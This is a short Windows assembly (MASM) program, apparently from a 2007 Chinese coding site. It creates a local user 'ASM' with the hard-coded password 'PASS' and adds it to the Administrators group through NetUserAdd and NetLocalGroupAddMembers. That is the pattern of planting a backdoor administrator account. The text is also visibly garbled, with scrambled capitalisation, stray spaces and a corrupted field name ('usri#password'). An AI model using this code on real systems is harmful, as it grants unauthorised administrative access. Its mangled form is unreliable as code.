>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Code by ASM http://www.asm32.cn/
; 2007-9-29
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
. 386
. Model flat, stdcall
Option Casemap: none; case sensitive
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include data
>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Include windows. inc
Include user32.inc
Include kernel32.inc
Include netapi32.inc
Includelib user32.lib
Includelib kernel32.lib
Includelib netapi32.lib
. Data?
Ouserinfo user_info_1 <?>
Ouser localgroup_members_info_3 <?>
Dwerr DWORD?
. Data
Szuser DW "A", "S", "M", 0
Szpass DW "P", "A", "S", "S", 0
Szadministrators DW "A", "D", "M", "I", "n", "I", "S", "T", "r ", "A", "T", "O", "r", "S", 0
. Code
Start:
Invoke rtlzeromemory, ADDR ouserinfo, sizeof ouserinfo
Push offset szuser
Pop ouserinfo. usri1_name
Push offset szpass
Pop ouserinfo. usri#password
MoV ouserinfo. usri1_priv, user_priv_user
MoV ouserinfo. usri1_flags, uf_normal_account
Invoke netuseradd, null, 1, ADDR ouserinfo, ADDR dwerr
Push ouserinfo. usri1_name
Pop ouser. lgrmi3_domainandname
Invoke netlocalgroupaddmembers, null, ADDR szadministrators, 3, ADDR ouser, 1
Invoke exitprocess, 0
End start